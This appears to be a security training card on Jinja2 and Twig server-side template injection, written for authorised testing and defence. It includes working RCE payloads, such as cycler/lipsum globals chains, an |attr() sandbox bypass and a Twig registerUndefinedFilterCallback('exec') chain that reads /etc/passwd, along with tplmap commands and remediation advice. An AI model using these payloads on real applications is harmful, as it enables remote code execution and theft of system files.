Template injection (Jinja2/Twig)
Theory
Why This Matters
Jinja2 and Twig are the dominant server-side template engines in Python/Flask and PHP/Symfony ecosystems respectively. Both use syntactically identical {{ }} expression delimiters, making engine-type misidentification a common tester error. The exploitation paths diverge significantly because one operates in a Python object model and the other in a PHP execution environment. Understanding the precise sandbox mechanisms and escape techniques for each engine is essential for accurate vulnerability assessment in modern web application stacks. Bug bounty reports regularly identify SSTI in Flask applications, and PHP CMS plugins based on Twig have been vectors for critical vulnerabilities.
Core Concept
Jinja2 (Python) implements a SandboxedEnvironment that restricts access to Python's special attributes (__class__, __mro__, __globals__, __builtins__) and dangerous built-in functions. The sandbox is implemented by overriding the getattr, getitem, and call methods to check a blocklist of dangerous names before permitting access. It is a denylist approach, and bypasses exist because the blocklist cannot enumerate every possible path through Python's rich object model.
Twig (PHP) does not implement an equivalent object-traversal sandbox. Its security model relies on disabling specific tags ({% set %}, raw output) and limiting the template context to explicitly passed variables. The _self global variable, present in many Twig configurations, exposes the Twig environment object itself, which provides access to the filter/extension registration mechanism — a path to arbitrary PHP function execution.
The violated invariant for both engines is identical: user input used as template text rather than as a template variable. The fix is also identical: use the engine correctly by separating template structure from data.
Engine discrimination when both use {{ }}: look for error messages. Jinja2 errors reference Python types and Jinja2 module names. Twig errors reference PHP and Twig class names. The {{7*'7'}} probe is definitive: Jinja2 performs string repetition and returns 7777777; Twig returns 49 (PHP coerces the string to integer for multiplication).
Jinja2 sandbox escape paths (without SandboxedEnvironment, standard Jinja2):
- cycler.__init__.__globals__ — cycler is a Jinja2 built-in global, its __init__ function's __globals__ contains the os module.
- lipsum.__globals__ — the lipsum text generator built-in similarly exposes globals.
- namespace.__init__.__globals__ — the namespace function introduced in Jinja2 2.10.
Twig RCE path:
- _self.env.registerUndefinedFilterCallback('exec') — registers PHP's exec() as the handler for unknown filters.
- _self.env.getFilter('id') — calls the registered handler with 'id' as the argument, executing exec('id').
Technical Deep-Dive
# --- Jinja2 engine discrimination ---
{{7*7}} → 49 (both Jinja2 and Twig)
{{7*'7'}} → 7777777 (Jinja2: Python string * int = repetition)
→ 49 (Twig: PHP coerces '7' to int)
# --- Jinja2: standard (non-sandboxed) escape paths ---
# cycler globals path:
{{cycler.__init__.__globals__.os.popen('id').read()}}
# lipsum globals path:
{{lipsum.__globals__['os'].popen('id').read()}}
# namespace globals path (Jinja2 >= 2.10):
{{namespace.__init__.__globals__.os.popen('id').read()}}
# Direct __import__ via builtins (longer path):
{{'x'.__class__.__mro__[1].__subclasses__()}}
# Find index of subprocess.Popen or os._wrap_close, then:
{{'x'.__class__.__mro__[1].__subclasses__()[INDEX](['id'],stdout=-1).communicate()[0]}}
# --- Jinja2 SandboxedEnvironment bypass ---
# |attr() filter accesses attributes by string name:
{{('x'|attr('__class__')|attr('__mro__'))[1]|attr('__subclasses__')()}}
# If __class__ is blocked: use request object (Flask context):
{{request|attr('application')|attr('__globals__')|attr('__builtins__')|...}}
{# --- Twig (PHP): standard RCE path --- #}
{{_self.env.registerUndefinedFilterCallback('exec')}}
{{_self.env.getFilter('id')}}
{# Output: uid=33(www-data) gid=33(www-data) #}
{# Alternative: registerUndefinedFilterCallback with shell_exec #}
{{_self.env.registerUndefinedFilterCallback('shell_exec')}}
{{_self.env.getFilter('cat /etc/passwd')}}
{# Twig sandbox mode (SecurityPolicy) — restricted environment #}
{# When Twig sandbox is active, only explicitly allowed functions/properties #}
{# are callable. Test by attempting: #}
{{_self}} {# → object reference if _self is exposed #}
{{_self.env}} {# → error if env access is sandboxed #}
{# Detection: distinguish Jinja2 from Twig by error messages #}
{# Inject: {{foobar}} — Twig error: "Variable 'foobar' does not exist" #}
{# Jinja2 error: "UndefinedError: 'foobar' is undefined" #}
# tplmap with explicit engine specification:
python3 tplmap.py -u 'https://flask-app.example.com/greet?name=*'
--engine Jinja2 --os-cmd 'id'
python3 tplmap.py -u 'https://symfony-app.example.com/greet?name=*'
--engine Twig --os-cmd 'id'
# Auto-detect (tests all engines):
python3 tplmap.py -u 'https://target.example.com/greet?name=*'
--os-shell
Security Assessment Methodology
- Inject the discrimination probe — Use
{{7*'7'}}. Result of7777777confirms Jinja2; result of49confirms Twig. This single test correctly identifies the engine when both use{{ }}delimiters. - Attempt globals access (Jinja2) — Try
{{cycler.__init__.__globals__}}and{{lipsum.__globals__}}. If either returns a Python dict, the environment is non-sandboxed and RCE is straightforward. - Probe sandbox presence (Jinja2) — If the direct globals access raises a security exception or returns empty, attempt
|attr()filter bypass. Identify the Jinja2 version from error messages or response headers to target known sandbox bypass CVEs. - Attempt _self path (Twig) — For Twig targets, inject
{{_self.env}}. If the environment object is accessible, proceed withregisterUndefinedFilterCallback. - Test Twig SecurityPolicy — Attempt
{{_self.env.getFilter('id')}}after registration; a "not allowed" error confirms SecurityPolicy is active. Document the restricted context. - Use tplmap for engine-specific enumeration — Run tplmap with the identified
--engineflag for comprehensive payload coverage. - Document sandbox status — Report whether the application uses SandboxedEnvironment (Jinja2) or SecurityPolicy (Twig), as this affects exploitability and the specific remediation recommended.
Defensive Countermeasure — For Jinja2: always use
jinja2.sandbox.SandboxedEnvironmentwhen user input must appear in template logic (not just as variable values), keep Jinja2 updated to receive sandbox bypass patches, and audit the template context to remove unnecessary globals (cycler, lipsum, namespace). For Twig: enableTwigSandboxSecurityPolicywith a strict allowlist of permitted tags, filters, and functions; remove_selffrom the template context if not required for template functionality. For both: audit all call sites ofrender_template_string()(Jinja2) and$twig->createTemplate()(Twig) to ensure user input is never passed as the template source.
Common Assessment Errors
- Using only
{{7*7}}for engine discrimination — This returns 49 for both engines. Always follow up with{{7*'7'}}to distinguish Jinja2 from Twig. - Applying Python chains to PHP targets — Jinja2 subclass traversal payloads will error on Twig/PHP. Using the wrong chain wastes time and may trigger WAF alerts.
- Assuming sandbox means unexploitable — Both engines have documented sandbox bypass techniques. A sandboxed environment requires deeper payload research, not abandonment.
- Not reading error messages carefully — SSTI error messages often reveal the engine version, the restricted attribute name, and the stack trace — all valuable for selecting the correct bypass.
- Missing the _self global — Twig RCE depends on
_selfbeing available in the template context. Testers who test arithmetic expressions but not_selfmiss the PHP execution path. - Failing to test Twig SecurityPolicy restrictions — Reporting Twig SSTI as unexploitable because
registerUndefinedFilterCallbackerrors without checking whether the SecurityPolicy blocklist is exhaustive misses potential bypass paths.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0009 | Knowledge of application vulnerabilities | Develops engine-specific understanding of Jinja2 and Twig sandbox mechanisms and escape paths |
| K0070 | Knowledge of system and application security threats and vulnerabilities | Covers Python and PHP template injection contexts and their differing object models |
| S0001 | Skill in conducting vulnerability scans | Trains engine discrimination methodology and tplmap engine-targeted scanning |
| S0044 | Skill in mimicking threat behaviors | Builds adversarial skill in selecting correct engine-specific RCE chains |
| T0028 | Test system security controls | Covers sandbox configuration assessment and template context audit |
| T0591 | Perform penetration testing | Provides complete Jinja2/Twig SSTI exploitation methodology with sandbox bypass |
Further Reading
- Server-Side Template Injection — PortSwigger Web Security Academy (Jinja2 and Twig labs)
- Twig for Developers: Sandbox Extension — Twig Documentation, Symfony
- Jinja2 Sandbox Documentation — Pallets Projects (jinja.palletsprojects.com)
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.